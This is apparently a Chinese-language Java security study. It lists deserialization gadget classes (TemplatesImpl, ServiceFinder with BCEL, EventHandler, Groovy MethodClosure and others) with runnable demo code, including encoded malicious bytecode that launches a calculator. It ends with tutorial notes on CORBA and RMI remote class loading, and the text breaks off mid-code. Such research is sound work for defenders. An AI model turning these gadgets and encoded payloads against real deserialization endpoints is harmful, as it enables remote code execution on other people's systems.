利用类的作用:加载类或者执行命令。
- // 类加载
- (1)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(BeanComparator、EqualsBean/ToStringBean可以间接调用TemplatesImpl)
- (2)java.util.ServiceLoader$LazyIterator / com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator (配合BCEL)
- // 反射调用
- (3)javax.imageio.ImageIO$ContainsFilter
- (4)java.beans.EventHandler
- (5)com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection
- // 非JDK自带
- (6)org.codehaus.groovy.runtime.MethodClosure
- (7)org.codehaus.groovy.runtime.ConvertedClosure
- (8)groovy.util.Expando
TemplatesImpl用于CommonsBeanutils、Fastjson,其调用链如下,核心在于得到恶意类的Class对象。然后执行newInstance()操作触发static代码块中的恶意代码。
- TemplatesImpl.getOutputProperties()
- TemplatesImpl.newTransformer()
- TemplatesImpl.getTransletInstance()
- TemplatesImpl.defineTransletClasses()
- ClassLoader.defineClass()
- Class.newInstance()
具体调用过程如下:
- public synchronized Properties getOutputProperties() {
- return newTransformer().getOutputProperties();
- }
-
- public synchronized Transformer newTransformer() throws TransformerConfigurationException
- {
- TransformerImpl transformer;
- transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
- }
-
- private Translet getTransletInstance() throws TransformerConfigurationException {
- if (_name == null) return null; // 为了执行到下面的代码,_name不能为null(_name代表主类的名称)
- if (_class == null) defineTransletClasses(); // _class:包含translet类定义的实际类
-
- // newInstance时会被转换为AbstractTranslet,所以恶意类需要继承自AbstractTranslet
- AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
- ...
- return translet;
- }
-
- private void defineTransletClasses() throws TransformerConfigurationException {
- final int classCount = _bytecodes.length;
- _class = new Class[classCount];
-
- for (int i = 0; i < classCount; i++) {
- _class[i] = loader.defineClass(_bytecodes[i]); // _bytecodes设置为恶意类的字节码
- final Class superClass = _class[i].getSuperclass();
-
- // Check if this is the main class
- if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
- _transletIndex = i;
- }
- else {
- _auxClasses.put(_class[i].getName(), _class[i]);
- }
- }
- }
-
- Class defineClass(final byte[] b) {
- return defineClass(null, b, 0, b.length);
- }
Demo如下,其核心在于getTransInstance()会调用defineTransletClasses()加载字节码为Class,然后.newInstance()进行实例化:
- public class TemplateTest {
- public static void main(String[] args) throws IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {
- String cmdb64="yv66vgAAADQAQAoACwAmCQAnACgIACkKACoAKwoALAAtCAAuCgAsAC8HADAIADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE0xUZW1wbGF0ZXNJbXBsVGVzdDsBAA1TdGFja01hcFRhYmxlBwAyBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxUZXN0LmphdmEMAAwADQcANQwANgA3AQAcVGVtcGxhdGVzSW1wbCBDb25zdHVjdG9yIHJ1bgcAOAwAOQA6BwA7DAA8AD0BABJvcGVuIC1hIENhbGN1bGF0b3IMAD4APwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFUZW1wbGF0ZXNJbXBsIHJ1bgEAEVRlbXBsYXRlc0ltcGxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAQAAQAMAA0AAQAOAAAAcgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABYABQAAAA8ABAARAAwAEgAVABMAGQAUABAAAAAMAAEAAAAaABEAEgAAABMAAAAQAAL/ABgAAQcAFAABBwAVAAABABYAFwACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAAGQAQAAAAIAADAAAAAQARABIAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQABABYAHgACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAAHgAQAAAAKgAEAAAAAQARABIAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0ACAAjAA0AAQAOAAAAVwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAEgAEAAAACgAIAAsAEQAMABUADQAQAAAAAgAAABMAAAAHAAJUBwAVAAABACQAAAACACU=";
- BASE64Decoder decoder=new sun.misc.BASE64Decoder();
- byte[] classBytes=decoder.decodeBuffer(cmdb64);
- TemplatesImpl templates=TemplatesImpl.class.newInstance();
- Field f1=templates.getClass().getDeclaredField("_bytecodes");
- f1.setAccessible(true);
- f1.set(templates,new byte[][]{classBytes});
- Field f2=templates.getClass().getDeclaredField("_name");
- f2.setAccessible(true);
- f2.set(templates,"TemplatesImplTest");
- Field f3=templates.getClass().getDeclaredField("_tfactory");
- f3.setAccessible(true);
- f3.set(templates,TransformerFactoryImpl.class.newInstance());
- templates.getOutputProperties(); // 触发
- }
- }
需要注意引入的包是这两个(这种更通用,没有类路径限制)。
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
与之类似的还有这种(类路径上有需要有Xalan实现)。
- import org.apache.xalan.xsltc.trax.TemplatesImpl;
- import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
BeanComparator触发
BeanComparator中的compare方法,参数传入两个对象,然后比较这两个对象的属性,也就是说getProperty(o1,property)这步会调用o1的property属性。也就是调用o1这个类中对应的getxxProperty()方法。而TemplatesImpl链的入口正是TemplatesImpl.getOutputProperties()所以只需要o1传入TemplatesImpl,property传入_outputProperties。

ToStringBean触发
ToStringBean的toString方法获取beanClass所有的带有getter方法的属性,然后invoke(this.obj)反射调用getter方法,但是这个invoke的限制是不能传入参数,所以在利用时需要选取无参方法。

getPropertyDescriptorsWithGetters方法如下:

先说一下SPI(Service Provider Interface),JDK内置的服务提供发现机制。Service通常指接口/抽象类,Provider则是接口的具体实现。假设Service接口为HelloService,它的实现类Provider可能包括EnglishHelloServiceImpl、ChineseHelloServiceImpl等,
那么可以在/META-INF/services/目录下创建一个Service的全限定类名命名的文件例如com.axisx.Service,文件的具体内容如下:
- com.axisx.impl.EnglishHelloServiceImpl
- com.axisx.impl.ChineseHelloServiceImpl
这样就可以直接调用服务对应的各类Provider。
- ServiceLoader
serviceLoader = ServiceLoader.load(HelloService.class); - Iterator
it = serviceLoader.iterator(); - while (it!=null && it.hasNext()) {
- DemoService demoService = it.next();
- }
上一篇提到过BCEL还可以用Class.forName来写:
- ClassLoader classLoader= new ClassLoader();
- String bcelCode="$$BCEL$$...";
- // new ClassLoader().loadClass(bcelCode).newInstance();
- Class.forName(bcelCode,true,classLoader);
ServiceLoader的内部类LazyIterator中存在Class.forName方法,loader是该内部类构造方法传入的。

nextService方法的触发是LazyIterator.next(),那么就需要找到类似this.serviceIterator.hasNext()的代码来触发。与ServiceLoader类似的还有ServiceFinder,同样可以调用Class.forName:

以ServiceFinder为例,cn字符串传入由内部类ServiceName的className字段控制。生成的ServiceName需要放入LazyIterator1的names数组中。loader由自身构造函数LazyIterator传入。
- private static class LazyIterator
implements Iterator { - Class
service; - @Nullable
- ClassLoader loader;
- ServiceFinder.ServiceName[] names;
- int index;
- ...
- }
-
- private static class ServiceName {
- final String className;
- final URL config;
-
- public ServiceName(String className, URL config) {
- this.className = className;
- this.config = config;
- }
- }
由于是内部类用反射来写。
- public class ServiceLoadTest {
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
- Class ServiceName=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$ServiceName");
- Constructor constructor1=ServiceName.getConstructor(String.class, URL.class);
- constructor1.setAccessible(true);
- String bcelCode="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbn$T1$U$3dN$sq2L$a1$992$e5MSZhRhg$c3$$$V$9b$aal$Y$a0$oU$bbv$8c$V$5c$s$e3h$e2$a9$ca$X$b1$$$8b$82X$f0$B$7c$U$e2$da$94$3e$E$96$7c$af$ee9$f7$9c$eb$c7$cf_$df$7f$Ax$8e4D$88$5bm$dc$c6$9d$W$ee$86$b8$87$fb$n$k$e0a$LK$$w9$969$kq$ac04$b7t$a1$ed$L$86z$af$bf$cf$Ql$9b$f7$8a$e1F$a6$L$f5$a6$9a$8cT$b9$tF9$nqf$a4$c8$f7E$a9$5d$7d$G$G$f6$83$9e$91G$b6s$a4$f3$BCkK$e6gvsC$x$e4$c7$d7b$ea$5bi$mC84U$v$d5K$ed$a4m$t$d9$3c$UG$o$c25D$i$ab$R$k$e3$Jy8$a2$5bV$F$c7Z$84$k$fa$i$eb$R$9e$e2$Z$9d$c1LU$d1$dd$Q$ddm$91$cb$w$X$d6$94$R6$b0$c9$b0$e0$8c$d2$5c$U$e3t$e7X$aa$a9$d5$a6$a0$e39$x$86$f9$L$f2$ed$e8PI$7b$F$g$7e$9aY5$a1$fb$9b$8a$88$q$f3$8c6$e9n$a9$L$3b$b4$a5$S$93$c1$df$BWa$G$3euUN$a3$92$5ev$c9$d2$S$3c$k$b8$f7$ec$5c$a0$ef$aa$c2$ea$J$5d$3d$i$x$7b$5e$q$bd$7e$f6O$P$N$M$d4$b1$92$Mk$ff$f3$bd$E$ed$96F$aa$d9l$80e$b4$e9$cf$dd$aa$81$b9$X$a58GUJ$99Qn$ac$7f$F$3b$f1$f4u$8aM$P$d2GS$8c$fe4$60$k$j$ca$z$c4$e7$e2$Do$G$y$7eA$z$ae$9f$o$f8$86F$dc$3c$F$3f$f8$8c$e0$d5$89$e7$3a$b8I$9a$baw$8d$RP$M$a8n$Q$deD$C$ee$t$d4h$_$d0$e6$a8$edq$ea$ta$e2$e1$c5$dfb$c3$e7P$b3$C$A$A";
- Object ServiceNameObj=constructor1.newInstance(bcelCode,null);
- Object ServiceNameArray= Array.newInstance(ServiceName,1);
- Array.set(ServiceNameArray,0,ServiceNameObj);
-
- Class LazyIterator=Class.forName("com.sun.xml.internal.ws.util.ServiceFinder$LazyIterator");
- Constructor constructor2=LazyIterator.getDeclaredConstructors()[1];
- constructor2.setAccessible(true);
- Object LazyIteratorObj=constructor2.newInstance(String.class,new ClassLoader());
- Field f1=LazyIterator.getDeclaredField("names");
- f1.setAccessible(true);
- f1.set(LazyIteratorObj,ServiceNameArray);
- Method m1=LazyIterator.getDeclaredMethod("next"); //触发
- m1.setAccessible(true);
- m1.invoke(LazyIteratorObj,null);
- }
- }
javax.imageio.ImageIO$ContainsFilter,一眼看过去就存在明显的反射,某个类的方法。但是invoke后面只能传入Object对象,也就是这个方法需要无参。

例如调用ProcessBuilder执行命令:
- public class ImageIOTest {
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
- Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
- Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
- constructor1.setAccessible(true);
- Object Pro=constructor1.newInstance((Object)cmd);
- Method m1=ProcessBuilder.getDeclaredMethod("start");
- // m1.invoke(Pro);
- Class ContainsFilter=Class.forName("javax.imageio.ImageIO$ContainsFilter");
- Constructor constructor2=ContainsFilter.getConstructor(Method.class,String.class);
- constructor2.setAccessible(true);
- Object Obj=constructor2.newInstance(m1,"lalala");
- Method m2=ContainsFilter.getDeclaredMethod("filter",Object.class);
- m2.setAccessible(true);
- m2.invoke(Obj,Pro);
- }
- }
看一下java.beans.EventHandler源码,invokeInternal同样用到了反射,并且EventHandler的构造函数,可以控制target和action,最终反射用到的targetMethod是根据target和action生成的所以也是可控。
public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName)
但是想要执行到反射代码,method名称不能为hashCode、equals、toString,否则运行不到最后。另外Method的参数要么是空,要么是单个参数。

调用invokeInternal写个demo:
- public class EventHandlerTest {
- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
- String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
- Class ProcessBuilder=Class.forName("java.lang.ProcessBuilder");
- Constructor constructor1=ProcessBuilder.getConstructor(String[].class);
- constructor1.setAccessible(true);
- Object Pro=constructor1.newInstance((Object)cmd);
- Method m1=ProcessBuilder.getDeclaredMethod("start");
-
- Class EventHandler=Class.forName("java.beans.EventHandler");
- Constructor constructor2=EventHandler.getConstructor(Object.class,String.class,String.class,String.class);
- constructor2.setAccessible(true);
- Object Handler=constructor2.newInstance(Pro,"start",null,null);
- Method m2=EventHandler.getDeclaredMethod("invokeInternal",Object.class,Method.class,Object[].class);
- Object[] objects=new Object[]{Pro};
- m2.setAccessible(true);
- m2.invoke(Handler,null,m1,objects);
- }
- }
com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection也是一个invoke的反射调用,但是invoke中只能传入类对象,无法传入参数。所以不能采用Runtime.exec(cmd)这种需要传参的命令执行方法,而是采用ProcessBuilder.start()等无参方法。

- public class GetterSetterReflectionTest {
- public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, AccessorException {
- String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
-
- Class ProcessCls=Class.forName("java.lang.ProcessBuilder");
- Constructor constructor1=ProcessCls.getConstructor(String[].class);
- constructor1.setAccessible(true);
- Object ProcessBuilderObj=constructor1.newInstance((Object) cmd);
- Method m1=ProcessCls.getDeclaredMethod("start");
- m1.setAccessible(true);
- // m1.invoke(ProcessBuilderObj);
-
- Class cls=Class.forName("com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection");
- Constructor constructor=cls.getConstructor(Method.class,Method.class);
- constructor.setAccessible(true);
- Accessor.GetterSetterReflection GetterObj= (Accessor.GetterSetterReflection) constructor.newInstance(m1,null);
- GetterObj.get(ProcessBuilderObj);
- }
- }
这个类位于Groovy的jar包,属于非JDK自带的类,org.codehaus.groovy.runtime.MethodClosure

doCall方法明显是反射执行方法,写脚本测试一下:
- public class MethodClosureTest {
- public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- Object methodArgs="open -a Calculator";
- MethodClosure methodClosure=new MethodClosure(Runtime.getRuntime(),"exec");
- // methodClosure.call(methodArgs);
- Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
- m1.setAccessible(true);
- m1.invoke(methodClosure,methodArgs);
- }
- }
或者用ProcessBuilder:
- public class MethodClosureTest {
- public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- Object obj=null;
- String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
- MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
- Method m1=methodClosure.getClass().getDeclaredMethod("doCall", Object.class);
- m1.setAccessible(true);
- m1.invoke(methodClosure,obj);
- }
- }
一个动态代理的Demo,handler需要实现InvocationHandler,重写了invoke方法,那么在执行Proxy.newProxyInstance时自动调用invoke方法。
- public class Main {
- public static void main(String[] args) {
- InvocationHandler handler = new InvocationHandler() {
- @Override
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- System.out.println(method);
- if (method.getName().equals("morning")) {
- System.out.println("Good morning, " + args[0]);
- }
- return null;
- }
- };
- Hello hello = (Hello) Proxy.newProxyInstance(
- Hello.class.getClassLoader(), // 传入ClassLoader
- new Class[] { Hello.class }, // 传入要实现的接口
- handler); // 传入处理调用方法的InvocationHandler
- hello.morning("Bob");
- }
- }
-
- interface Hello {
- void morning(String name);
- }
ConvertedClosure的源码如下,继承自ConversionHandler:

ConversionHandler实现了InvocationHandler,并重写了invoke方法。所以如果执行Proxy.newProxyInstance就会调用这个invoke。invoke方法根据传入的method参数不同进入不同的逻辑。
if:传入的method所属类为接口,else if:传入的method不是Object对象中的方法(如hashcode、toString等),这步的checkMethod具体的判断代码是return Object.class.equals(method.getDeclaringClass());所以传入Runtime.getRuntime.exec这种命令执行方法,会走到else if中,调用ConvertedClosure.invokeCustom(),进而执行call方法,反射执行方法。

所以下面demo中的后两步就在触发动态代理的invoke,进而触发invokeCustom:
- public class ConvertedClosureTest {
- public static void main(String[] args) {
- String[] methodArgs= new String[]{"open","-a","/System/Applications/Calculator.app"};
- MethodClosure methodClosure=new MethodClosure(new ProcessBuilder(methodArgs),"start");
- ConvertedClosure convertedClosure=new ConvertedClosure(methodClosure,"entrySet");
- Map map= (Map) Proxy.newProxyInstance(ConvertedClosureTest.class.getClassLoader(), new Class[]{Map.class},convertedClosure);
- map.entrySet();
- }
- }

同样是调用call方法,只是需要properties中存在一个键为hashCode,值为Closure的子类。

利用上述的MethodClosure.call(),也就是将值传为MethodClosure。
- public class ExpandoTest {
- public static void main(String[] args) {
- Map map = new HashMap<Expando, Integer>();
- Expando expando = new Expando();
- String[] cmd = new String[]{"open","-a","/System/Applications/Calculator.app"};
- MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder(cmd), "start");
- // methodClosure.call();
- expando.setProperty("hashCode", methodClosure);
- map.put(expando, 123);
- expando.hashCode();
- }
- }
CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织,一个非盈利性的计算机行业标准协会)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。
CORBA标准主要分为三个部分,IDL(接口语言)、ORB(对象请求代理)、IIOP(ORB之间的操作协议)。
其结构主要分为三部分:naming service、client side、servant side。它们的关系可以理解成目录(naming service)与章节内容(servant side)的关系,内容需要现在目录里进行注册。
CORBA和Java都采用面向对象技术,并且都适用于开发分布式应用,所不同的是:CORBA偏重于通用的分布式应用开发,而Java注重于WWW环境中的分布式应用开发。
IDL(Interface Definition Language,接口定义语言),它是一种与编程语言无关的对于接口描述的规范,实现跨语言跨环境远程对象调用。CORBA用的就是基于IDL的OMG IDL(对象管理标准化接口定义语言)。
CORBA中的“ORB”(ObjectRequest Broker,对象请求代理)是一个中间件/代理,建立起服务端与客户端的关系调用。对象可以在本地也可以在其他服务器上,ORB截获客户的调用操作,并查找实现服务的对象,传递参数,调用方法并返回结果。
GIOP(General Inter-ORB Protocol ,通用对象请求协议),是CORBA用来进行数据传输的协议,针对不同的通讯层有不同的实现。而对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol),也可以说IIOP是通过TCP协议传输的GIOP数据。
naming service
ORBD可以理解为ORB的守护进程,其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用。

IOR
IOR是一种数据结构,提供关于类型、协议支持和可用ORB服务的信息。它通常提供获取对象的初始引用的方法,可以是命名服务(naming service)、事务服务(transaction services),也可以是定制的CORBA服务。

Stub生成
Stub有很多种生成方式,如:
(1)获取NameServer然后后通过resolve_str()方法生成(NameServer生成方式)。
- Properties properties = new Properties();
- properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
- properties.put("org.omg.CORBA.ORBInitialPort", "1050");
- ORB orb = ORB.init(args, properties);
- org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
- NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
- String name = "Hello";
- helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));
(2)使用ORB.string_to_object生成(ORB生成方式)。
- //第一种
- ORB orb = ORB.init(args, null);
- org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
- Hello hello = HelloHelper.narrow(obj);
- //第二种
- ORB orb = ORB.init(args, null);
- org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
- NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
- Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
(3)使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)
- ORB orb = ORB.init(args, null);
- Hashtable env = new Hashtable(5, 0.75f);
- env.put("java.naming.corba.orb", orb);
- Context ic = new InitialContext(env);
- Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
如果要开发一个CORBA的Helloworld,创建一个helloworld.idl:
- //helloworld.idl
- module helloworld{ //module对应了java中的package
- interface HelloWorld{
- string sayHello();
- };
- };
在java命令行下执行idlj -fall helloworld.idl将IDL语言翻译成JAVA语言,生成server和client端代码,然后会生成_HelloWorldStub.java(实现了HelloWorld接口)、HelloWorld.java(未实现接口)、HelloWorldHelper.java(包含帮助函数,用于处理通过网络传输的对象)、HelloWorldHolder.java、HelloWorldOperations.java(IDL声明的接口)、HelloWorldPOA.java(server的实现接口)。POA(Portable Object Adapter),是CORBA规范的一部分,该类中的方法可以将对象注册到naming service上。
- public class HelloServer {
- public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
- //指定ORB的端口号 -ORBInitialPort 1050
- args = new String[2];
- args[0] = "-ORBInitialPort";
- args[1] = "1050";
-
- //创建一个ORB实例
- ORB orb = ORB.init(args, null);
-
- //拿到RootPOA的引用,并激活POAManager,相当于启动了server
- org.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");
- POA rootpoa = POAHelper.narrow(obj);
- rootpoa.the_POAManager().activate();
-
- //创建一个HelloWorldImpl实例
- HelloWorldImpl helloImpl = new HelloWorldImpl();
-
- //从服务中得到对象的引用,并注册到服务中
- org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
- HelloWorld href = HelloWorldHelper.narrow(ref);
-
- //得到一个根名称的上下文
- org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
- NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
-
- //在命名上下文中绑定这个对象
- String name = "Hello";
- NameComponent path[] = ncRef.to_name(name);
- ncRef.rebind(path, href);
-
- //启动线程服务,等待客户端调用
- orb.run();
-
- System.out.println("server startup...");
- }
- public class HelloClient {
- static HelloWorld helloWorldImpl;
-
- static {
- //初始化ip和端口号,-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050
- String args[] = new String[4];
- args[0] = "-ORBInitialHost";
- //server端的IP地址,在HelloServer中定义的
- args[1] = "127.0.0.1";
- args[2] = "-ORBInitialPort";
- //server端的端口,在HelloServer中定义的
- args[3] = "1050";
-
- //创建一个ORB实例
- ORB orb = ORB.init(args, null);
-
- // 获取根名称上下文
- org.omg.CORBA.Object objRef = null;
- try {
- objRef = orb.resolve_initial_references("NameService");
- } catch (InvalidName e) {
- e.printStackTrace();
- }
- NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);
-
- String name = "Hello";
- try {
- //通过ORB拿到了server实例化好的实现类
- helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));
- } catch (NotFound e) {
- e.printStackTrace();
- } catch (CannotProceed e) {
- e.printStackTrace();
- } catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {
- e.printStackTrace();
- }
- }
-
- public static void main(String args[]) throws Exception {
- sayHello();
- }
-
- //调用实现类的方法
- public static void sayHello() {
- String str = helloWorldImpl.sayHello();
- System.out.println(str);
- }
RMI对于远程对象是将其Stub(类似引用/代理,包含远程对象的定位信息,如Socket端口、服务端主机地址等)传递,客户端可以像调用本地方法一样通过Stub调用远程方法。

客户端发起请求,请求转交至RMI客户端的stub类,stub类将请求的接口、方法、参数等信息进行序列化,然后基于tcp/ip将序列化后的流传输至服务器端,转至skeleton类,该类将请求的信息反序列化后调用实际的类进行处理,然后再将处理结果返回给skeleton类,skeleton类将结果序列化,通过tcp/ip将流传送给客户端的stub,stub接收到流后将其反序列化,再将反序列化后的Java Object返回给调用者。
(1)Stub获取方式
Stub的获取方式有很多,常见的方法是调用某个远程服务上的方法,向远程服务获取存根。但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。要注册远程对象,需要RMI URL和一个远程对象的引用。
- IHello rhello = new HelloImpl();
- LocateRegistry.createRegistry(1099);//人工创建RMI注册服务
- Naming.bind("rmi://0.0.0.0:1099/hello", rhello);
LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。
(2)远程调用逻辑
- Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
- IHello rhello = (IHello) registry.lookup("hello");
- rhello.sayHello("test");

(3)动态加载类
RMI核心特点之一就是动态加载类,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,java.rmi.server.codebase属性值表示一个或多个URL位置,可以从中下载本地找不到的类,相当于一个代码库。动态加载的对象class文件可以使用Web服务的方式(如http://、ftp://、file://)进行托管。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。
无论是客户端还是服务端要远程加载类,都需要满足以下条件:
a.由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
b.属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
(4)JAVA RMI Demo
- //接口
- public interface Hello extends Remote {
- public String echo(String message) throws RemoteException;
- }
- //接口类实现
- public class HelloImpl implements Hello {
- @Override
- public String echo(String message) throws RemoteException {
- if ("quit".equalsIgnoreCase(message.toString())) {
- System.out.println("Server will be shutdown!");
- System.exit(0);
- }
- System.out.println("Message from client: " + message);
- return "Server response:" + message;
- }
- }
- //server端
- public class Server {
- public static void main(String[] args) throws Exception {
- String name = "hello";
- Hello hello = new HelloImpl();
- // 生成Stub
- UnicastRemoteObject.exportObject(hello, 1199);
- /*
- 设置java.rmi.server.codebase
- System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
- 如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
- System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());
- RMISecurityManager securityManager = new RMISecurityManager();
- System.setSecurityManager(securityManager);
- */
- // 创建本机 1099 端口上的RMI registry
- Registry registry = LocateRegistry.createRegistry(1199);
- //如果registry已存在
- Registry reg = LocateRegistry.getRegistry();
- // 对象绑定到注册表中
- registry.rebind(name, hello);
- }
- }
- //client端
- public class Client {
- public static void main(String[] args) throws Exception {
- // 获取远程主机上的注册表
- Registry registry = LocateRegistry.getRegistry("localhost", 1199);
- String name = "hello";
- // 获取远程对象
- Hello hello = (Hello) registry.lookup(name);
- while (true) {
